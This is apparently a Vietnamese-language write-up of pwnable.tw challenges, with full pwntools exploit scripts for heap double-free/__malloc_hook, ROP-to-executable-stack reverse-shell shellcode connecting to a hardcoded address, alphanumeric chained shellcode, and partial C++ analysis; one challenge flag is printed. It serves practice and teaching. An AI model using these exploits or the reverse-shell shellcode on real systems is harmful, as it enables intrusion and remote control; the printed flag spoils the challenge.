        return 0;
    }
}
```
```
- duyệt color_list để remove (thông qua idx của mảng này) 
- free(name) 
- Nhưng thay vì set NULL color_list[idx] + 8LL thi 0x1 -> 0x0 (kiểu giống bit in_use)
-> UAF 
```

`visit()`

```c
int visit()
{
    __int64 idx; // rbx
    __int64 tmp; // rax

    idx = 0LL;
    if ( count )
    {
        do
        {
            tmp = color_list[idx];
            if ( tmp && *(_DWORD *)tmp )
            {
                __printf_chk(1LL, "Name of the flower[%u] :%s\n", (unsigned int)idx, *(const char **)(tmp + 8));
                LODWORD(tmp) = __printf_chk(
                                   1LL,
                                   "Color of the flower[%u] :%s\n",
                                   (unsigned int)idx,
                                   (const char *)(color_list[idx] + 0x10LL));
            }

            ++idx;
        }
        while ( idx != 100 );
    }
    else
    {
        LODWORD(tmp) = puts("No flower in the garden !");
    }

    return tmp;
}
```
```
- Vẫn color_list để duyệt -> in ra idx, name 
- in ra các index có bit inuse = 1 
```

`clean()`
```c
unsigned __int64 clean()
{
    _QWORD *ptr; // rbx
    _DWORD *tmp; // rdi
    unsigned __int64 v3; // [rsp+8h] [rbp-20h]

    v3 = __readfsqword(0x28u);
    ptr = color_list;                           
    do
    {
        tmp = (_DWORD *)*ptr;
        if ( *ptr && !*tmp )
        {
            free(tmp);
            *ptr = 0LL;                         
            --count;
        }

        ++ptr;
    }
    while ( ptr != &color_list[100] );

    puts("Done!");
    return __readfsqword(0x28u) ^ v3;
}
```

### Bugs
- Ta có bugs UAF/double free (có lẽ vậy là đủ)

## Exploit 
### Leak libc 
- trong bài này thì không có kĩ thuật nào cả nhiệm vụ là alloc chunk sao cho phù hợp.
- How to leak libc ??? Có double free thì chọn leak qua unsorted bin -> thông qua hàm `remove()`
    - Nhưng sau khi `remove()` sẽ set null 8byte đầu của chunk `color` -> nhiệm vụ làm control được chunk này để in ra data teen chunk ở unsorted bin
    - Cũng khá đơn giản là control chunk 0x30 (malloc từ 0x28)

```py
    create(p,0x28,b'0'*0x28,b'A'*23) #0-name:5040-color:4000
    create(p,0x28,b'1'*0x28,b'B'*23) #1-name:50a0-color:5070 
    create(p,0x28,b'2'*0x28,b'C'*23) #2-name:5100-color:50d0
    create(p,0x28,b'3'*0x28,b'D'*23) #3-name:5160-color:5130 
    # GDB(p) 
    create(p,0xa0,b'4'*0xa0,b'E'*23) #4-name:51c0-color:5190
    create(p,0x28,b'5'*0x28,b'f'*23) #5-name:52a0-color:5270
    # GDB(p)
    remove(p,1)
    remove(p,2)
    remove(p,3)
    remove(p,1)
    # GDB(p)
    create(p,0x28,b'6'*0x28,b'A'*23) #6-name:5160-color:50a0
    remove(p,4)
    # GDB(p)
    name = p64(0x1) + b'\xd0'
    create(p,0x28,name,b'B'*23) #7-name:50a0-color:5100
    visit(p)
    ru(p,b'flower[6] :')
    leak  = intFromByte(p,6)
    print("leak libc:",hex(leak))
    libc.address = leak - 3947384
    print("libc base:",hex(libc.address))
```

### Overwrite __malloc_hook + one_gadget 
- Sau khi có libc thì công việc còn lại khá đơn giản ( mình đã có kĩ thuật này ở 1 trong số wu)
- Bài này cũng không có gì khác chỉ là đôi luc hơi lộn xộn những cơ bản thì không khó
```py    gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
    malloc_hook = libc.sym['__malloc_hook']
    fake_chunk = malloc_hook - 35
    color_list = 0x555555400000 + 0x0000000000202040
    clean(p)
    create(p,0x68,b'8'*0x68,b'E'*23) #8-name:51c0-color:5190
    create(p,0x68,b'9'*0x68,b'E'*23) #9-name:52d0-color:5130
    create(p,0x68,b'7'*0x68,b'E'*23)

    remove(p,1)
    remove(p,2)
    remove(p,1)

    name = p64(fake_chunk) 
    create(p,0x68,name,b'E'*23)
    clean(p)
    create(p,0x68,name,b'E'*23)
    # GDB(p)
    create(p,0x68,name,b'E'*23)
    remove(p,0)
    # GDB(p)
    name  = b'a'*19 + p64(gadget[2] + libc.address)
    create(p,0x68,name,b'E'*23)
    remove(p,4)
    remove(p,4)
```
:::warning
- Trong bài này có 1 trick để gọi shell từ việc gây lỗi Double Free và mình đã viết 1 bài để nói cụ thể hơn [From Double Free to Get shell](https://)
:::
## get flag
```py
#!/usr/bin/env python3

from pwn import *

def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)

def intFromByte(p, size):
    o = p.recv(size)[::-1].hex()
    output = '0x' + o
    leak = int(output, 16)
    return leak

def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)

    if exe_base is None:
        raise Exception("Executable base address not found.")

    return exe_base
def create(p,len,name,color):
    sa(p,b'Your choice : ',b'1')
    sla(p,b'Length of the name :',str(len).encode())
    sa(p,b'The name of flower :',name)
    sla(p,b'The color of the flower :',color)

def visit(p):
    sa(p,b'Your choice : ',b'2')

def remove(p,idx):
    sa(p,b'Your choice : ',b'3')
    sla(p,b'remove from the garden:',str(idx))

def clean(p):
    sa(p,b'Your choice : ',b'4')

def GDB(p):
    base = get_exe_base(p.pid)
    gdb.attach(p, gdbscript=f'''
        b*{base}+0x0000000000000C65
        c
    ''')
    input()

def main():
    context.binary = exe = ELF("./chal_patched", checksec=False)
    libc = ELF("./libc_64.so.6", checksec=False)
    # ld = ELF("./", checksec=False)
    p = remote("chall.pwnable.tw",10203)
    # p = process(exe.path)
    # GDB(p)

    ############### Leak libc ###############

    create(p,0x28,b'0'*0x28,b'A'*23) #0-name:5040-color:4000
    create(p,0x28,b'1'*0x28,b'B'*23) #1-name:50a0-color:5070 
    create(p,0x28,b'2'*0x28,b'C'*23) #2-name:5100-color:50d0
    create(p,0x28,b'3'*0x28,b'D'*23) #3-name:5160-color:5130 
    # GDB(p) 
    create(p,0xa0,b'4'*0xa0,b'E'*23) #4-name:51c0-color:5190
    create(p,0x28,b'5'*0x28,b'f'*23) #5-name:52a0-color:5270
    # GDB(p)
    remove(p,1)
    remove(p,2)
    remove(p,3)
    remove(p,1)
    # GDB(p)
    create(p,0x28,b'6'*0x28,b'A'*23) #6-name:5160-color:50a0
    remove(p,4)
    # GDB(p)
    name = p64(0x1) + b'\xd0'
    create(p,0x28,name,b'B'*23) #7-name:50a0-color:5100
    visit(p)
    ru(p,b'flower[6] :')
    leak  = intFromByte(p,6)
    print("leak libc:",hex(leak))
    libc.address = leak - 3947384
    print("libc base:",hex(libc.address))

    ############## get shell ##############
    gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
    malloc_hook = libc.sym['__malloc_hook']
    fake_chunk = malloc_hook - 35
    color_list = 0x555555400000 + 0x0000000000202040
    clean(p)
    create(p,0x68,b'8'*0x68,b'E'*23) #8-name:51c0-color:5190
    create(p,0x68,b'9'*0x68,b'E'*23) #9-name:52d0-color:5130
    create(p,0x68,b'7'*0x68,b'E'*23)

    remove(p,1)
    remove(p,2)
    remove(p,1)

    name = p64(fake_chunk) 
    create(p,0x68,name,b'E'*23)
    clean(p)
    create(p,0x68,name,b'E'*23)
    # GDB(p)
    create(p,0x68,name,b'E'*23)
    remove(p,0)
    # GDB(p)
    name  = b'a'*19 + p64(gadget[2] + libc.address)
    create(p,0x68,name,b'E'*23)
    remove(p,4)
    remove(p,4)
    p.interactive()

if __name__ == "__main__":
    main()
```

# Kidding [400 pts] : Reverse shell
## :warning:Phân tích 
-  Nhìn chung thì chương trình khá đơn giản, chỉ có lỗi BOF
![image](https://hackmd.io/_uploads/rJ4brcmyJx.png)
- Tuy nhiên, binary đã đóng hết các `fd (stdin, stdout, stderr)`
:::danger
:skull_and_crossbones: Điều này cõ nghĩa là chúng ta sẽ không thể sử dụng stdin(nhập bàn phím), stdout(in màn hình), stderr(nhận báo lỗi từ chương trình)
:point_right: Chúng ta có thể get shell nhưng không không thể tương tác với shell để in ra flag
:::

### :warning: file descriptor và parent-child process
- Đối với khái niệm file descriptor thì không quá xa lạ nhưng cách hoạt động của nó trong từng process như thế nào.
    - Đối với mỗi process, `file descriptor table` sẽ khác nhau
    - Khi chúng ta gọi shell, nó sẽ được xem là 1 chhild proscess( tiến trình con) nhưng đối với child process thì chương trình sẽ sử dụng `fork()`, `execve()` để gọi và 2 hàm này sẽ tạo ra 1 `child process` là bản sao của `parent process` -> Đây chính là nguyên nhân khi ta có thể gọi shell nhưng không thể tương tác với shell để lấy flag

### :warning: socket + reverse shell
:::success
:point_right: Để tránh cho write-up quá dài mình đã tách phần này sang 1 bài viết khác [socket + reverse shell](https://hackmd.io/@ctfctfctf/H1zpT9mykl)
:::

## Khai thác 
### Quyền thực thi 
![image](https://hackmd.io/_uploads/HkgNo7H11e.png)
- Ta thấy NX enabled nên bài này chúng ta chỉ có thể ROP nhưng số lượng bài có hạn chỉ 0x64 mà để tạo 1 reverse shell thì ROP có vẻ quá khó(chưa kể tìm gadget để ROP cũng không hề dễ)

#### Bypass 
![image](https://hackmd.io/_uploads/SkwM3mS1Jg.png)
- Đây là 1 file binary tĩnh (các hàm libc tích hợp trong trong file exe)

- Ta tìm thấy 1 hàm có thể hàm cho stack thực thi được : 
```c
unsigned int __usercall dl_make_stack_executable@<eax>(_DWORD *a1@<eax>)
{
    unsigned int result; // eax

    if ( *a1 != _libc_stack_end )
    {
        return 1;
    }

    result = mprotect(*a1 & -dl_pagesize, dl_pagesize, _stack_prot);
    if ( result )
    {
        return *(_DWORD *)(__readgsdword(0) - 0x18);
    }

    *a1 = 0;
    dl_stack_flags |= 1u;
    return result;
}
```
-> Bản chất hàm này cũng là syscall `mprotect` để thay đổi quyền nhưng nó sẽ check vùng mình đưa vào để thay đổi stack theo format của nó.
:::warning
- Ở đoạn này sẽ phải vượt qua 1 số lần check (if else) để có thể mprotect an toàn 
- Điều này không có khó bởi vì đây là binary liên kêt tĩnh (mọi thứ cần thiết ở libc đã ở trong này) nên chỉ cần debug rồi fix dần là ra. (Sai chỗ nào fix chỗ đó :smile:)
:::
```py
    int_80 =0x0806c825
    mov =0x0805462b #  mov dword ptr [edx], eax ; ret
    pop_eax =0x080b8536
    _dl_make_stack_executable = 0x0809a080
    __stack_prot = 0x80e9fec
    pop_edx =0x0806ec8b
    call_esp =0x080c99b0
    payload = b'A'*8 + p32(0x13100103) #0x13100103

    payload += p32(pop_eax) + p32(0x7)
    payload += p32(pop_edx) + p32(__stack_prot)
    payload += p32(mov)

    payload += p32(pop_eax) + p32(0x80e9fc8)
    payload += p32(_dl_make_stack_executable)
```
### Write shellcode reverse shell 
- Phần này mình cũng đã nói ở trong bài viết về [Reverse shell & Bind shell](https://hackmd.io/@ctfctfctf/H1zpT9mykl#4-Tri%E1%BB%83n-khai-Reverse-shell-amp-Bind-shelll)
:::info
- Đoạn này công việc sẽ là chuyển Reverse shell từ C sang assembly x86 (đơn giản là thực hiện các lệnh gọi system call)
- Ngoài ra, do số byte cũng hạn chế nên trước cần tối ưu bằng cách quan sát các register trước khi sử dụng.
- Trong shellcode, có đoạn convert IP và port để truyền đối số cho syscall `connect` -> Bạn có thể `compile` reverse shell bằng C sau đó debug để xem.
:::

```asm
    shellcode = '''
        mov ax, 0x167
        push 0x2
        pop ebx
        push 1
        pop ecx
        xor dl, dl
        int 0x80

        mov bl, al
        mov ax, 0x16A
        push ebp      
        push 0xb53a0002              
        mov ecx , esp
        mov dl, 0x10
        int 0x80 

        mov al, 0xb
        xor ecx, ecx
        xor edx, edx
        push 0x0068732f
        push 0x6e69622f
        mov ebx , esp
        int 0x80

    '''
```

## Full script
```py
#!/usr/bin/env python3

from pwn import *

def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)

def intFromByte(p, size):
    o = p.recv(size)[::-1].hex()
    output = '0x' + o
    leak = int(output, 16)
    return leak

def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)

    if exe_base is None:
        raise Exception("Executable base address not found.")

    return exe_base

def GDB(p):
    base = get_exe_base(p.pid)
    gdb.attach(p, gdbscript='''
        b*0x809a0c6
        c
    ''')
    input()

def main():
    context.binary = exe = ELF("./chall", checksec=False)
    # libc = ELF("./", checksec=False)
    # ld = ELF("./", checksec=False)
    p = remote("chall.pwnable.tw",10303)
    # p = process(exe.path)
    # pop_eax = 
    int_80 =0x0806c825
    mov =0x0805462b #  mov dword ptr [edx], eax ; ret
    pop_eax =0x080b8536
    _dl_make_stack_executable = 0x0809a080
    __stack_prot = 0x80e9fec
    pop_edx =0x0806ec8b
    call_esp =0x080c99b0
    payload = b'A'*8 + p32(0x13100103) #0x13100103

    payload += p32(pop_eax) + p32(0x7)
    payload += p32(pop_edx) + p32(__stack_prot)
    payload += p32(mov)

    payload += p32(pop_eax) + p32(0x80e9fc8)
    payload += p32(_dl_make_stack_executable)
    payload += p32(call_esp)
    shellcode = '''
        mov ax, 0x167
        push 0x2
        pop ebx
        push 1
        pop ecx
        xor dl, dl
        int 0x80

        mov bl, al
        mov ax, 0x16A
        push ebp      
        push 0xb53a0002              
        mov ecx , esp
        mov dl, 0x10
        int 0x80 

        mov al, 0xb
        xor ecx, ecx
        xor edx, edx
        push 0x0068732f
        push 0x6e69622f
        mov ebx , esp
        int 0x80

    '''
    shellcode = asm(shellcode)
    payload += shellcode
    # GDB(p)
    s(p,payload)
    
    p.interactive()

if __name__ == "__main__":
    main()
```
# Alive Note [350 pts] : limited shellcode 
- Về bug thì khã rõ là lỗi `out-of-bound` và với lỗi này chúng ta có thể ghi vào `got` 
- Ở server có chút khác với local là bài này cho heap thực thi được nên mục tiêu là ghi shellcode vào heap sau đó dùng bu `out-of-bound` để khi địa chỉ heap đấy vào `got` -> mục tiêu là `free` 
## Điểm khó
- Shellcode bị giới hạn trong các bytes sau (đây là các byte kiểu ): 
    ```c
    s[i] != 0x20 && ((*__ctype_b_loc())[s[i]] & 8) == 0
    ```
    - Đây là các byte thuộc gồm 0x20 , các số, và chữ (gồm cả in hoa, viết thường)
        ```py
        valid_chars = [
            0x20,  # Space
            *range(0x30,0x39)    # 0-9
            *range(0x41, 0x5B),  # A-Z
            *range(0x61, 0x7B)   # a-z
            ]   
        ```
- Mỗi shellcode chỉ có thể ghi 8 byte
## Bypass
- Để có thể chain được được các shellcode lại với nhau thì chúng ta có thể dùng các lệnh jump trong assembly.
- Nhưng các lệnh jump cũng cần thỏa mãn: 
    - thuộc byte hợp lệ với đề bài
    - thỏa mãn được `eflags` thì mời jump được
### Tìm lệnh jump
- Debug để xem đến lệnh jump thì thanh ghi `eflags` sau đó kiểm tra xem lệnh jump nào có thể dùng được ( sử dụng đoạn code sau)
    ```py
    JUMP_INSTRUCTIONS = [
        (0x70, "JO",  "OF == 1"),
        (0x71, "JNO", "OF == 0"),
        (0x72, "JB/JNAE/JC",  "CF == 1"),
        (0x73, "JNB/JAE/JNC", "CF == 0"),
        (0x74, "JZ/JE",  "ZF == 1"),
        (0x75, "JNZ/JNE", "ZF == 0"),
        (0x76, "JBE/JNA", "CF == 1 or ZF == 1"),
        (0x77, "JNBE/JA", "CF == 0 and ZF == 0"),
        (0x78, "JS",  "SF == 1"),
        (0x79, "JNS", "SF == 0"),
        (0x7A, "JP/JPE", "PF == 1"),
        (0x7B, "JNP/JPO", "PF == 0"),
    ]

    def parse_eflags(eflags_hex):
        eflags = int(eflags_hex, 16)
        CF = (eflags >> 0) & 1
        PF = (eflags >> 2) & 1
        AF = (eflags >> 4) & 1
        ZF = (eflags >> 6) & 1
        SF = (eflags >> 7) & 1
        OF = (eflags >> 11) & 1

        possible_jumps = []
        for opcode, name, condition in JUMP_INSTRUCTIONS:
            if eval(condition.replace("CF", str(CF)).replace("PF", str(PF)).replace("AF", str(AF))
                             .replace("ZF", str(ZF)).replace("SF", str(SF)).replace("OF", str(OF))):
                possible_jumps.append((hex(opcode), name))

        return possible_jumps

    if __name__ == "__main__":
        eflags_hex = input("Nhập mã hex của EFLAGS (VD: 0x10292): ")
        jumps = parse_eflags(eflags_hex)

        print("\nCác lệnh jump có thể sử dụng:")
        for opcode, name in jumps:
            print(f"{name} - Opcode: {opcode}")
    ```
    -> Đoạn code này cần nhập vào giá trị của `eflags`
    ![image](https://hackmd.io/_uploads/SkdDoeDCkl.png)
    -> ví dụ : eflags = 0x282
    ![image](https://hackmd.io/_uploads/S1qsjevRJx.png)
### Chèn int 0x80 vào shellcode
- Mẹo ở đây là sử dụng `xor` (bản chất là khi 1 số xor với 0 thì sẽ là chính nó) 
    ```c
    0:  66 31 41 32             xor    WORD PTR [ecx+0x32],ax
    ```
    - Việc còn lại là set up cho ax sẽ là `0xcd` `0x80`
- Có 1 cách đó là làm cho rax = -1 (0xffffffff) sau đó xor với các số khác để biến 2 byte cuối thành mục tiêu ( đoạn này thì hoàn toàn có thể tự tính)
- Phần còn lại thì hoàn thành challeng và lấy flag thuiiiiiii.
## Flag 
```py
#!/usr/bin/env python3

from pwn import *


def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)


def intFromByte(p, size):
    o = p.recv(size)[::-1].hex()
    output = '0x' + o
    leak = int(output, 16)
    return leak

def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)

    if exe_base is None:
        raise Exception("Executable base address not found.")

    return exe_base

def leak(p, payload):
    sl(p, payload)
    ru(p, b'|')
    leak = int(ru(p, b'|').replace(b'|', b''), 16)
    return leak
def add(p,idx,payload):
    sla(p,b'choice :',b'1')
    sla(p,b'ndex :',str(idx))
    sa(p,b'ame :',payload)

def show(p,idx):
    sla(p,b'choice :',b'2')
    sla(p,b'ndex :',str(idx))

def delete(p,idx):
    sla(p,b'choice :',b'3')
    sla(p,b'ndex :',str(idx))
def padding(p):
    for i in range(3):
        add(p,0,b'AAAAAAAA')
def GDB(p):
    base = get_exe_base(p.pid)
    gdb.attach(p, gdbscript='''
        b*0x080488EA
        c
        call (int)mprotect(0x804b000,0x1000,7)
    ''')
    input()

def main():
    context.binary = exe = ELF("./chall", checksec=False)

    # p = process(exe.path)
    p = remote("chall.pwnable.tw",10300)
    ################## NOTES ####################
    valid_chars = [
    0x20,  # Space
    *range(0x41, 0x5B),  # A-Z
    *range(0x61, 0x7B)   # a-z
    ]   

    print([hex(c) for c in valid_chars])

    note = 0x804a080
    ###################### write shellcode : read #######################
    shellcode =asm('''
        push eax
        push eax
        pop ecx
        pop edx
        push 0x30
    ''')
    shellcode+=b'\x75\x38' #phase1
    # GDB(p)
    add(p,-27,shellcode)
    padding(p) #padding to shellcode chain

    shellcode =asm('''
        pop eax 
        xor al, 0x30
        dec eax
        push eax
        push eax
    ''')
    shellcode+=b'\x75\x38' #phase2
    add(p,0,shellcode)
    padding(p) #padding to shellcode chain

    # GDB(p)
    shellcode =asm('''
        xor ax, 0x3456
        push eax
        push eax
    ''')
    shellcode+=b'\x75\x38' #phase3
    add(p,0,shellcode)
    padding(p) #padding to shellcode chain
    # delete(p,-27)
    
    # GDB(p)
    shellcode =asm('''
        xor ax, 0x4b64 
        push eax
        push eax
    ''')
    shellcode+=b'\x75\x38' #phase4
    add(p,0,shellcode)
    padding(p) #padding to shellcode chain
    # delete(p,-27)

    # GDB(p)
    shellcode =asm('''
        xor byte [ecx + 0x31], ax 
        push 0x30
    ''')
    shellcode+=b'\x75\x38' #phase5
    add(p,0,shellcode)
    padding(p) #padding to shellcode chain
    # delete(p,0)

    # GDB(p)
    shellcode =asm('''
        pop eax
        xor al, 0x33
        push eax
        push eax
        push eax
    ''')
    shellcode+=b'\x75\x5a' #phase6
    add(p,1,shellcode)
    padding(p) #padding to shellcode chain
    delete(p,0)

    ############ execve #############
    shellcode =b'A'*0x34 + asm(shellcraft.sh())
    sl(p,shellcode)
    p.interactive()

if __name__ == "__main__":
    main()
    # FLAG{Sh3llcoding_in_th3_n0t3_ch4in}
```
# CAOV [350 pts] : Reverse and exploit C++
## Phân tích - reverse
- Trong hàm main trước khi gọi đến hàm playground() thì chương trình dùng `cin >> k` (đây là một đối tượng thuộc class string)
    - Khi đưa input vào string này thì với cơ chế của c++ thì sẽ malloc đến khi nào không con cin nữa (có nghĩa là nhập bao nhiêu thì malloc bấy nhiêu, đồng thời free các chunk luu trước đó)
- Cả case 1 thì chỉ là in ra thông tin của đối tượng
- với case 2 : 
    - `old = *D; ` : đoạn này sẽ gọi đến hàm operator trong class (xử lí khi copy object của class)
    - Đoạn này phải đọc IDA mới thấy bug 
        ![image](https://hackmd.io/_uploads/Bkym7cofee.png)
         - Khi dùng `copy contructor` compiler sẽ tạo ra 2 class là old và copyV (nằm trên stack)
             ![image](https://hackmd.io/_uploads/ryelEcozeg.png)
         - sau đó gọi destructor để xóa copy
             ![image](https://hackmd.io/_uploads/r1EMN5ifxe.png)
        -> Ở đây nó check field key để free 
    - 2 object copyV và old nằm ở stack mà trước đó nó gọi đến hàm `set_name()`
        ![image](https://hackmd.io/_uploads/SkQYNqsGge.png)
        - Hàm này ghi vào stack trước rồi mới copy
    -> Nên stack frame của hàm set_name vẫn còn dẫn đến field của object copyV sẽ trùng với buf của hàm set_name
    -> Lúc này thì ta có thể control được địa chỉ free ở destructor `~Data()`
    
-> REUSE STACK -> write after free